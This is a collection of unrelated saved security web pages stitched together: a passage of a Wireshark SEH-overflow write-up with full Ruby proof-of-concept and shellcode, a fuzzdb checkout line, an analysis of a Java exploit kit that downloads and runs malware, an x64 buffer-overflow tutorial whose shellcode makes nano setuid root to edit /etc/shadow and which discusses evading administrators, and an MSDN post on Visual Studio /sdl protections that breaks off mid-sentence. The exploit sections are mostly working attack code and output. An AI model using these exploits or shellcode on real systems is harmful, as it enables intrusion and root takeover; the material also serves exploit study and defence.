engineLength variable, which also comes after the overflowable buffer on the
stack. Anyway you do it, you just have to trigger some type of exception. The
next thing to do is find a useful address that we can overwrite the SEH
address with. Before an SEH handler is read from the stack and called, it must
pass several checks \(checks are made in ntdll\!RtlDispatchException\). I'd
suggest reading this tutorial by corelanc0d3r \(or you could just study
ntdll\!RtlDispatchException\). I used msfpescan to find an address in
libwireshark.dll that had the instructions pop-pop-ret. Why pop-pop-ret? If
you look at the stack right after our exception handler is called, you'll see
this:

[code]

    ntdll!ExecuteHandler2:
    7c903282 55              push    ebp
    7c903283 8bec            mov     ebp,esp
    7c903285 ff750c          push    dword ptr [ebp+0Ch]
    7c903288 52              push    edx
    7c903289 64ff3500000000  push    dword ptr fs:[0]
    7c903290 64892500000000  mov     dword ptr fs:[0],esp
    7c903297 ff7514          push    dword ptr [ebp+14h]
    7c90329a ff7510          push    dword ptr [ebp+10h]
    7c90329d ff750c          push    dword ptr [ebp+0Ch]
    7c9032a0 ff7508          push    dword ptr [ebp+8]
    7c9032a3 8b4d18          mov     ecx,dword ptr [ebp+18h]
    7c9032a6 ffd1            call    ecx {beefface}             <-- calling our exception handler
    ...
    # stack after the call (esp in the memory window in windbg)
    0012f6dc 7c9032a8 ntdll!ExecuteHandler2+0x26
    0012f6e0 0012f7c4 
    0012f6e4 0012ffb0 
    0012f6e8 0012f7e0 
    0012f6ec 0012f798 
    0012f6f0 0012ffb0 
    0012f6f4 7c9032bc ntdll!ExecuteHandler2+0x3a
    0012f6f8 0012ffb0 
    0012f6fc 0012f7ac 
    0012f700 7c90327a ntdll!ExecuteHandler+0x24
    0012f704 0012f7c4
    
    
[/code]

Notice anything familiar about that 0012ffb0 address, third down from the top?
That's the address of the SEH structure on the stack, the same one we had
overwritten with our nops. Thus, if we point the exception handler to a pop-
pop-ret, it will pop the first two dwords off the stack \(7c9032a8 and
0012f7c4\) and return to the third \(0012ffb0\), which lands eip in
instructions that we control. As I mentioned earlier, I used msfpescan to find
the pop-pop-rets for me:

[code]

    -n4g-[ snmpuser ]-$ msfpescan -p libwireshark.dll 
    
    [libwireshark.dll]
    0x10003998 pop esi; pop ebp; ret
    0x10008240 pop esi; pop ebp; ret
    0x1000a530 pop esi; pop ebp; ret
    0x1000b510 pop esi; pop ebp; ret
    0x1000b890 pop esi; pop ebp; ret
    0x1006cb02 pop esi; pop ebp; ret
    0x1006cc09 pop ebx; pop edi; ret
    0x1006cc0f pop ebx; pop edi; ret
    0x103e8404 pop eax; pop eax; ret
    0x104022de pop esi; pop edx; retn 0x83ff
    0x104024dd pop edi; pop eax; retn 0x83ff
    0x10428a8d pop edi; pop ebp; retn 0x83ff
    0x1055b972 pop esi; pop ebp; ret
    0x1055bae2 pop esi; pop ebp; ret
    0x10696426 pop ebx; pop ebp; ret
    0x1070a8ee pop eax; pop ebx; retn 0x8b10
    0x10748e94 pop esi; pop ebp; ret
    0x10909c11 pop esi; pop ebp; ret
    0x109f7e89 pop ecx; pop ecx; ret
    0x109f7ed5 pop ecx; pop ebp; retn 0x000c
    0x109f8055 pop esi; pop edi; retn 0x0010
    0x109f8273 pop esi; pop ebx; retn 0x0010
    0x109f856b pop edi; pop esi; ret
    0x109f8591 pop edi; pop esi; ret
    0x109f8631 pop ebx; pop ebp; ret
    
    
[/code]

Any of the above addresses should work, but if you try and verify them in the
disassembler in windbg, you won't see any pop-pop-rets. Why not? The output
above was assuming libwireshark.dll started at a offset 0x10000000, which it
doesn't. To view information about loaded modules in windbg, you could do
something like this:

[code]

    0:000> lml
    start    end        module name
    00380000 003f6000   libgcrypt_11   (export symbols) ...
    00400000 00677000   wireshark   (private pdb symbols) ...
    00680000 0262f000   libwireshark C (private pdb symbols) ...
    026e0000 026fe000   lua5_1   C (export symbols) ...
    685c0000 686be000   libglib_2_0_0   (export symbols) ...
    77c10000 77c68000   msvcrt     (pdb symbols) ...
    78520000 785c3000   MSVCR90    (private pdb symbols) ...
    7c800000 7c8f6000   kernel32   (pdb symbols) ...
    7c900000 7c9af000   ntdll      (pdb symbols) ...
    
    
[/code]

You can see that libwireshark starts at offset 0x00680000, and not the
0x10000000 that msfpescan was assuming. This is what it  _should_ look like:

[code]

    -n4g-[ snmpuser ]-$ msfpescan -p libwireshark.dll -I 0x680000
    
    [libwireshark.dll]
    0x00683998 pop esi; pop ebp; ret
    0x00688240 pop esi; pop ebp; ret
    0x0068a530 pop esi; pop ebp; ret
    0x0068b510 pop esi; pop ebp; ret
    0x0068b890 pop esi; pop ebp; ret
    0x006ecb02 pop esi; pop ebp; ret
    0x006ecc09 pop ebx; pop edi; ret
    0x006ecc0f pop ebx; pop edi; ret
    0x00a68404 pop eax; pop eax; ret
    0x00a822de pop esi; pop edx; retn 0x83ff
    0x00a824dd pop edi; pop eax; retn 0x83ff
    0x00aa8a8d pop edi; pop ebp; retn 0x83ff
    0x00bdb972 pop esi; pop ebp; ret
    0x00bdbae2 pop esi; pop ebp; ret
    0x00d16426 pop ebx; pop ebp; ret
    0x00d8a8ee pop eax; pop ebx; retn 0x8b10
    0x00dc8e94 pop esi; pop ebp; ret
    0x00f89c11 pop esi; pop ebp; ret
    0x01077e89 pop ecx; pop ecx; ret
    0x01077ed5 pop ecx; pop ebp; retn 0x000c
    0x01078055 pop esi; pop edi; retn 0x0010
    0x01078273 pop esi; pop ebx; retn 0x0010
    0x0107856b pop edi; pop esi; ret
    0x01078591 pop edi; pop esi; ret
    0x01078631 pop ebx; pop ebp; ret
    
    
[/code]

Any of the above addresses should work, so I used the first one \(00683998\).
Changing our ruby code to use this address gives us

[code]

    def flip_dword(str)
     [str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
    end
    
    engine_id = "90" * 1136
    engine_id += flip_dword("00683998")
    
    File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
     file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
    end
    
    
[/code]

Running wireshark again shows us landing back into our data after our pop-pop-
ret handler was called:

[code]

    0012ffb0 90              nop
    0012ffb1 90              nop
    0012ffb2 90              nop
    0012ffb3 90              nop
    0012ffb4 98              cwde
    0012ffb5 396800          cmp     dword ptr [eax],ebp
    0012ffb8 ffad5a910100    jmp     fword ptr [ebp+1915Ah]
    0012ffbe 0000            add     byte ptr [eax],al
    0012ffc0 f0ff12          lock call dword ptr [edx
    
    
[/code]

Notice that we have four bytes of instructions we can use before we have to
execute the address of our SEH handler \(0012ffb4 and 0012ffb5\). Since we
don't really want to have to execute those instructions, we can put a short
jmp at 0012ffb2 \(two bytes\) to jump over to 0012ffb8 into instructions we
can control again. I tried putting the shellcode after 0012ffb8, but it gets
truncated/messed with somewhere along the way, so I ended up putting it back
before 0012ffb0 and using the first short jmp to jmp over the SEH handler
address, and then a second near jmp \(required 5 bytes\) to jmp back to the
start of my shellcode. I used msfpayload to generate the shellcode for
calc.exe:

[code]

    -n4g-[ snmpuser ]-$ msfpayload windows/exec CMD=calc.exe y
    # windows/exec - 200 bytes
    # http://www.metasploit.com
    # EXITFUNC=process, CMD=calc.exe
    buf = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
    "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
    "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
    "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
    "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
    "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
    "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
    "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
    "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
    "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
    "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" +
    "\x65\x78\x65\x00"
    
    
[/code]

The ruby poc code now looks like this:

[code]

    def flip_dword(str)
     [str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
    end
    def to_hex(str)
     str.scan(/./m).map{|b| "%02x" % b[0]}.join
    end
    # jmp short
    def jmp_eb(len)
     "\xeb" + len.chr
    end
    # jmp near
    def jmp_e9(len)
     "\xe9" + [len].pack("V")
    end
    
    # windows/exec - 200 bytes
    # http://www.metasploit.com
    # EXITFUNC=process, CMD=calc.exe
    shellcode = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
    "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
    "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
    "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
    "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
    "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
    "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
    "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
    "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
    "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
    "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" +
    "\x65\x78\x65\x00"
    shellcode += "\x90\x90" + jmp_eb(4) # jmp past the SEH address
    
    nop_length = 1136 - shellcode.length
    engine_id = "90" * nop_length
    engine_id += to_hex(shellcode)
    engine_id += flip_dword("00683998") # pop-pop-ret in libwireshark.dll
    engine_id += to_hex(jmp_e9(-(engine_id.length / 2 - nop_length + 5))) # the jmp_e9 is 5 bytes long
    
    File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
     file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
    end
    
    
[/code]

This poc now pops calc, but only on the dev build of wireshark that I used
though. To get this to work on wireshark 1.4, I had to change the pop-pop-ret
address, as well as the amount to overflow the buffer with in order to
overwrite the SEH handler. The code below works fine for me in XP SP3 with the
default install of Wireshark 1.4:

[code]

    def flip_dword(str)
     [str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
    end
    def to_hex(str)
     str.scan(/./m).map{|b| "%02x" % b[0]}.join
    end
    # jmp short
    def jmp_eb(len)
     "\xeb" + len.chr
    end
    # jmp near
    def jmp_e9(len)
     "\xe9" + [len].pack("V")
    end
    
    # windows/exec - 200 bytes
    # http://www.metasploit.com
    # EXITFUNC=process, CMD=calc.exe
    shellcode = 
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
    "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
    "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
    "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
    "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
    "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
    "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
    "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
    "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
    "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
    "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
    "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" +
    "\x65\x78\x65\x00"
    shellcode += "\x90\x90" + jmp_eb(4) # jmp past the SEH address
    # nop_length = 1136 - shellcode.length # wireshark 1.5
    nop_length = 1128 - shellcode.length # wireshark 1.4
    engine_id = "90" * nop_length
    engine_id += to_hex(shellcode)
    engine_id += flip_dword("00653998") # pop-pop-ret in libwireshark.dll (1.4)
    # engine_id += flip_dword("00683998") # pop-pop-ret in libwireshark.dll (1.5)
    engine_id += to_hex(jmp_e9(-(engine_id.length / 2 - nop_length + 5))) # the jmp_e9 is 5 bytes long
    
    File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
     file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
    end
    
    
[/code]

This was fun, but too bad you can only pwn yourself though.  
  
Lessons learned:

  1. Don't copy and paste code
  2. If you must copy and paste code, at least read the comments

  

# Source Checkout - fuzzdb - Project Hosting on Google Code

**Created:**| _4/15/2010 1:09:20 PM_  
---|---  
**Updated:**| _4/15/2010 1:09:31 PM_  
**Author:**| __  
**Tags:**| _bookmark Fuzzer_  
  
svn checkout ** _http_** ://fuzzdb.googlecode.com/svn/trunk/ fuzzdb

# JAVA Exploit Kit Malware \#1 | inREVERSE
**Created:**| _1/7/2010 1:29:44 PM_  
---|---  
**Updated:**| _1/7/2010 1:29:52 PM_  
**Author:**| __  
**Tags:**| _Exploit Java_  
  

## JAVA Exploit Kit Malware \#1

This is my first blog post of the new year. New year new target\!  
I am going to analyze a JAVA exploit kit malware, the md5 is:
8d499308df04932ed1b58a78417d6fb9.

Since our target is a jar, containing three class files, we try to get more
information about it by using a java decompiler \(i.e. jd\).

After decompilation, we have a java package that contains three classes:

  * C1.  _AppletX.java_
  * C2.  _LoaderX.java_
  * C3.  _PayloadX.java_

**  
C1. AppletX.java**

**<img src='img/Temp2_4620.png' width='696' height='457' />**  
Here we have an Applet subclass that mainly does three things:

  1. It deserializes a serialized object;
  2. It grabs a couple of information via applet parameters:  _data _and  _cc_ ;
  3. It plays with a custom class loader named:  _LoaderX_.

The most interesting part is the serialized object obviously.  
Do you have any idea about the usage of the serialized object in the above
code ?

Well, I will lead you to the right answer. Please just focus on the above
_AppletX_ code. If you pay attention to the above code, you can see the
initialization of  _localObject_ , it is located just above the  _if_ test.
But we can’t see any sort of explicit initialization for  _LoaderX.instance_.
In fact the initialization lies in the deserialization routine… nice eh ?

Here is a visual recap:

<img src='img/Temp2_4621.png' width='680' height='179' />Let’s examine the
custom class loader now.

**  
C2. LoaderX.java**

Here is the custom loader, I will report only the relevant parts. We have a
custom class loader that inherits from the Java  _ClassLoader _class.

<img src='img/Temp2_4623.png' width='546' height='240' />The custom class
loader \(_LoaderX_\) sets the “ _instance_ ” static field to “ _this_ “, in
order to be not garbage collected. This trick allows  _LoaderX _to be used
further after the deserialization. In fact it is required in order to use the
following method:

<img src='img/Temp2_4622.png' width='670' height='633' />The
_bootstrapPayload _method above does the following things:

  1. It loads the payload class \(_PayloadX_\), by setting the  _ProtectionDomain_ ;
  2. It sets data and cc parameters for the  _PayloadX _class and then instantiates the  _PayloadX_ object.

As we can see, this custom class loader \(_LoaderX_\) is used to exploit a
Java Runtime Environment \(_JRE_\) vulnerability, which is reported here.

Well, we have finished playing with the  _LoaderX _class, let’s play with the
_PayloadX _class now :\]

**  
C3. PayloadX.java**

I will summarize the behaviour of this class with the following schema:

<img src='img/Temp2_4619.png' width='626' height='693' />  
It uses  _data _parameter and  _cc _parameter as follow:

  * _data_ : points to a malicious site where it will find one or more malwares to download.
  * _cc_ : indicates the number of malwares to download. By default “null” means one.

So suppose that  _data _is:  _malicious.x/mw_ and  _cc _is:  _3_.  
The above method will download \(and execute\) the three malwares located at:

  * malicious.x/mw0
  * malicious.x/mw1
  * malicious.x/mw2

into the system temporary directory of the victim system. Each downloaded file
will be an  _EXE _file with a random number as name.

**  
Final Notes.**

This jar is a pre-built kit that allows to infect victim systems with custom
malwares, by exploiting a well known  _JRE _vulnerability. This kit is thought
to be embedded into malicious webpages and customized by using  _data_ and
_cc_ applet parameters to control its behaviour.

It’s all.. I hope you have enjoyed the reading.

Alla prossima ;\]

# Buffer Overflows and You

**Created:**| _1/31/2012 7:22:24 PM_  
---|---  
**Updated:**| _1/31/2012 7:22:37 PM_  
**Author:**| __  
**Tags:**| _post-exploitation x64_  
  

## Got root?

Gentlemen, we can root it. We have the technology. We have the capability to
root yet another poor idiot's server on the int4rw3bs. Steve Austin will be
that man. Better than he was before. Better, stronger, faster, errrr...

We spent all that time developing a small bit of shellcode. Let's put it to
good use. Suppose we have the program provided here. It's a simple echo
server, whatever you send it, it sends back to you.

[code]

    $ gcc -fno-stack-protector -z execstack -o server server.c
    $ ./server 5000
    
[/code]

Then in another terminal...

[code]

    $ telnet
    telnet> open 127.0.0.1 5000
    Trying 127.0.0.1...
    Connected to 127.0.0.1.
    Escape character is '^]'.
    Hello
    Hello
    Hi
    Hi
    
[/code]

But this program has an error in it. If we look at the source code, we see
that the buffer being used is 512 bytes. But, when recv\(\) is called, we
specify a buffer size of 1024 bytes. Ruh Roh. Back in our telnet session...

[code]

    Hi
    Hi
    12456789012456789012456789012456789012456789012456789012456789012456789012456789
    01245678901245678901245678901245678901245678901245678901245678901245678901245678
    90124567890124567890124567890124567890124567890124567890124567890124567890124567
    89012456789012456789012456789012456789012456789012456789012456789012456789012456
    78901245678901245678901245678901245678901245678901245678901245678901245678901245
    67890124567890124567890124567890124567890124567890124567890124567890124567890124
    56789012456789012456789012456789012456789012456789012456789012456789012456789012
    4567890124567890124567890124567890124567890124567890124567890124567890
    Connection closed by foreign host.
    
[/code]

And the server spits out...

[code]

    send: Bad file descriptor
    Segmentation fault (core dumped)
    $
    
[/code]

Gee whiz, I think we just trampled over all of the local variables, the saved
frame pointer, and the return address. Well this looks promising\!

For demonstration purposes, let's assume we also have a local account on the
machine that the server is running on, and that the server is running as root
so it can bind to a port below 1024. Since we have local access to the
machine, instead of turning the server into a shell like we did in the
Shellcode section, we could instead simply set "/bin/sh" setuid root. This
means that the shell will always run as the user root, instead of an
unprivileged user.

Sounds nice in theory, but many binaries have protections against running
setuid. \[5\] /bin/bash \(which /bin/sh is symlinked to on many systems\) will
not run as root if the real uid is not root. Fine. How about /bin/nano? That
program will happily run as root \(/bin/vi will not, otherwise we'd use
that\).

Finally, it's important to realize that attacks are still possible without
local access - you just need slightly more complicated shellcode that spawns
the shell and binds it to an open socket.

## New "shellcode"

Anyway, we want a program like this...

[code]

    #include <sys/stat.h>
    
    int main() {
      chmod("/bin/nano", 04755);
    }
    
[/code]

chmod is also a **system call** \(or, more precisely the wrapper provided by
libc\). Using the same process described in the Shellcode section, the end
assembly that we come up with is this...

[code]

    __asm__(
    "mov    $0x11111111111119c9,%rsi\n\t" // arg 2 = 04755
    "shl    $0x30,%rsi\n\t"
    "shr    $0x30,%rsi\n\t"               // first 48 bits = 0
    "mov    $0x111111111111116f,%rdi\n\t"
    "shl    $0x38,%rdi\n\t"
    "shr    $0x38,%rdi\n\t"
    "push   %rdi\n\t"
    "mov    $0x6e616e2f6e69622f,%rdi\n\t" // generate "/bin/nano"
    "push   %rdi\n\t"                     // and push it onto the stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of "/bin/nano"
    "mov    $0x111111111111115a,%rax\n\t"
    "shl    $0x38,%rax\n\t"
    "shr    $0x38,%rax\n\t"               // syscall number = 90
    "syscall\n\t"
    );
    
[/code]

And the actual payload is...

[code]

    \x48\xbe\xc9\x19\x11\x11\x11\x11\x11\x11\x48\xc1\xe6\x30\x48\xc1\xee\x30\x48\xbf
    \x6f\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe7\x38\x48\xc1\xef\x38\x57\x48\xbf\x2f
    \x62\x69\x6e\x2f\x6e\x61\x6e\x57\x48\x89\xe7\x48\xb8\x5a\x11\x11\x11\x11\x11\x11
    \x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
    
[/code]

## Tips and tricks

Okay, now we have a few problems. First of all, we have no idea where in
memory this buffer is. But we have the source code, and we have access to the
machine. So we can make an educated guess.

There are also a couple of tricks that we can play to improve our odds. The
first trick improves our chances of overwriting the return address. We can
accomplish this simply by repeating the new return address at the end of the
payload a fair number of times. That way everything above the payload is
overwritten with the new return address, and you're pretty much guaranteed to
hit the actual return address. Now, there are alignment issues here so if you
don't get it right the first time you may need to move the starting address by
one byte \(or two or three, or four, or five, or six, or seven\).

The second trick we can play reduces the accuracy required for our new return
address. Normally we would need to precisely point the return address at the
start of our payload. But, what if our payload has a bunch of NOOPs in the
beginning? As long as we land somewhere in this "NOOP sled" \[6\] the payload
will correctly execute. So if you recall the stack layout from earlier, we
want to transform it into the second image...

<img src='img/Temp2_1181.jpg' alt='stackcloseup-sm' />

<img src='img/Temp2_1180.jpg' alt='payload-sm' />

## Delivery

Okay, let's get on with it. First add a printf\(\) call to server.c that dumps
the address of buf.

[code]

    printf("buf ended up at %p\n", buf);
    
[/code]

The output will be something like this \(the address will invariably be
different\)...

[code]

    buf ended up at 0x7fffffffe1a0
    
[/code]

Alright. Let's write a program to deliver our payload, called send.c. You can
see the entire program here. It's straightforward. All it does is connect to
the specified port, and send the payload. The code that generates the payload
can be seen here:

[code]

      ret += atoi(argv[2]);
    
      [...]
    
      /* NOOP sled */
      memset(buf, 0x90, 384);
    
      /* Payload */
      memcpy(buf+384, payload, sizeof(payload));
    
      /* Remaining buffer */
      addr = (long) buf+384+sizeof(payload);
    
      /* 8-byte align the return addresses */
      while (addr % 8 != 0) addr++;
    
      /* Repeat return address for rest of buf */
      for (i = 0; i < (sizeof(buf)-384-sizeof(payload)-8)/8; i++) {
        *(((long *)addr)+i) = ret;
      }
    
[/code]

You can see we first add an offset to the return address, you'll discover why
below. After that we take our 768 byte buffer and build it up starting with
384 bytes of NOOPs, followed by the actual payload, followed by our calculated
return address repeated until the end of the buffer.

So, if we startup the server as root on port 1023...

[code]

    [root@localhost ~]# ./server 1023
[/code]

And then run our program...

[code]

    $ ./send 1023 100
[/code]

We can see the server is dead, but we didn't have any success with
/bin/nano...

[code]

    Connected to 127.0.0.1
    send: Bad file descriptor
    Segmentation fault (core dumped)
    [root@localhost ~]# ls -l /bin/nano
    -rwxr-xr-x. 1 root root 177328 2009-11-18 12:54 /bin/nano
    
[/code]

Well now it's basically a matter of trial and error. The buffer isn't located
at precisely the same place when run as root for one simple reason, the
environment variables. Recall our original stack layout...

<img src='img/Temp2_1182.jpg' alt='stack-sm' />

Since the environment variables generally change from account to account,
system to system, we have to guess an offset. Our NOOP sled gives us some
leniency in this guessing, so if we start going at 300 byte increments
eventually we'll stumble on the proper offset. For our example system the
offset happens to be anywhere around 900...

## Victory

[code]

    $ ./send 1023 900
    $ ls -l /bin/nano
    -rws--x--x. 1 root root 177328 2009-11-18 12:54 /bin/nano
    $ nano /etc/shadow
      GNU nano 2.0.9             File: /etc/shadow
    
    root:$1$vH1c/O5N$oA0VKFanh6OvM37AJ7BFR/:14725:0:99999:7:::
    bin:*:13878:0:99999:7:::
    daemon:*:13878:0:99999:7:::
    adm:*:13878:0:99999:7:::
    lp:*:13878:0:99999:7:::
    sync:*:13878:0:99999:7:::
    shutdown:*:13878:0:99999:7:::
    halt:*:13878:0:99999:7:::
    mail:*:13878:0:99999:7:::
    news:*:13878:0:99999:7:::
    uucp:*:13878:0:99999:7:::
    operator:*:13878:0:99999:7:::
                                   [ Read 48 lines ]
    ^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
    ^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
    
[/code]

That's right, we have write access to /etc/shadow now. If you're not sure what
to do at this point, well ... . .. ..

That said, we kind of glossed over an important fact. Every time we tried the
exploit and failed, the server segfaulted. Most systems will log this event,
and it won't take long for the administrator to figure out what's going on.
Also, every time the server dies it must be restarted - this in itself isn't a
big hurdle, if it's a relatively important service there may easily be a
crontab that restarts it every 10 minutes or something. And looking back, it
only took 3 or 4 attempts to get it right.

The main concern is almost certainly the segmentation faults. We can get
around this by adding an exit\(\) syscall to the end of our payload. This is a
very simple thing to do, and the exercise is left to the reader.

# Compiler Security Enhancements in Visual Studio 11 - The Security
Development Lifecycle - Site Home - MSDN Blogs

**Created:**| _12/2/2011 9:28:19 PM_  
---|---  
**Updated:**| _12/2/2011 9:28:19 PM_  
**Author:**| __  
**Tags:**| _compiler-building Microsoft visualstudio_  
  

### Compiler Security Enhancements in Visual Studio 11

SDL Team

2 Dec 2011 9:42 AM

  * 0

Hello all – Dave here…

In chatting with our colleagues in the MSEC Security Science Team, there were
a number of interesting topics that weren’t covered in our previous Code
Analysis blog post – information that would help contribute to the
understanding of security features and functionality in Visual Studio 11. So
after some discussion, we have decided to release a series of posts covering
this important work – everyone benefits from a better understanding of future
technology offerings.

So with that, I again turn the blog over to Tim Burrell to elaborate\!

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

**_\(Note – this blog post describes a feature in an unreleased product; this
feature may be changed prior to final product release.\)_**

Microsoft is actively developing Visual Studio 11 and continually looking for
ways to improve security-related functionality. As part of this we are
updating the /GS compiler switch, which is on-by-default and enables a basic
level of code generation security features, with some enhancements beyond the
now familiar cookie-based stack overflow protection. We’ll provide some more
detail on these in a later post.

The Security Development Lifecycle \(SDL\) includes a number of
recommendations beyond the scope of /GS where the compiler is able to assist
secure software development. These range from specific code generation
features such as using strict\_gs\_check to security-related compiler warnings
and more general recommendations to initialize or sanitize pointers
appropriately.

For the first time we intend to provide a central mechanism for enabling such
_additional_ security support via a new /sdl switch. The impact of /sdl is
twofold:

- /sdl causes SDL mandatory compiler warnings to be treated as errors during compilation. 
- /sdl**** enables additional code generation features such as increasing the scope of stack buffer overrun protection and initialization or sanitization of pointers in a limited set of well-defined scenarios. 
This dual approach reflects our conviction that secure software is best
achieved by the combination of detecting and fixing code bugs during the
development process together with the deployment of security mitigations that
will significantly increase the difficulty of exploiting any residual bugs.

The /sdl compiler switch is disabled by default, and can be enabled easily in
the Visual Studio UI by opening the Property Pages for the current project,
and accessing the Configuration Properties -> C/C++ -> General options.

  
<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-79-43/3124.picture1.png' />

# So what does the /sdl switch do?

The features enabled by the /sdl switch are a superset of those enabled by
/GS**** i.e.**** enabling /sdl enables everything included in /GS. We will be
providing more background and in-depth details of the additional /GS and /sdl
features in future posts. For now we note that they include:

The following SDL mandatory compiler warnings are enabled and treated as
errors:

**Warning** |  **Command line switch** |  **Description**  
---|---|---  
C4146 |  /we4146  |  A unary minus operator was applied to an unsigned type, resulting in an unsigned result  
C4308 |  /we4308  |  A negative integral constant converted to unsigned type, resulting in a possibly meaningless result  
C4532 |  /we4532  |  Use of “continue”, “break” or “goto” keywords in a \_\_finally/finally block has undefined behavior during abnormal termination  
C4533 |  /we4533 |  Code initializing a variable will not be executed  
C4700 |  /we4700  |  Use of an uninitialized local variable  
C4789 |  /we4789 |  Buffer overrun when specific C run-time \(CRT\) functions are used  
C4995 |  /we4995  |  Use of a function marked with pragma deprecated  
C4996 |  /we4996  |  Use of a function marked as deprecated  
If a developer wishes to opt in to most of the /sdl functionality but exclude
a given warning ID \(suppose C4146 for example\) then this can be achieved by
using the /wd switch to disable that specific warning under C/C++ -> Command
Line -> Additional Options in the Visual Studio UI:

<img src='http://blogs.msdn.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-79-43/4382.picture2.png' />

  * · The strict\_gs\_check pragma is applied to all C/C++ code compiled with /sdl. This instructs the compiler to consider more functions as potential candidates for stack buffer overflow protection. The GS optimization introduced in Visual Studio 2010 has been improved to work better in conjunction with strict\_gs\_check, specifically enabling many of the extra security checks resulting from strict\_gs\_check to be proven unnecessary and removed.

Additional /sdl**** code generation features will be covered in more detail in
later posts.

Microsoft strongly recommends using the /GS switch as in previous Visual
Studio releases; the new /sdl switch in Visual Studio 11 presents an
opportunity for greater security coverage both during and after development:
stay tuned for more details on specific security benefits of using /GS and
/sdl in Visual Studio 11.

Of course the Security Development Lifecycle \(SDL\) is an entire process and
methodology for developing secure software and as such includes much more than
just using specific compiler switches – read more and find additional
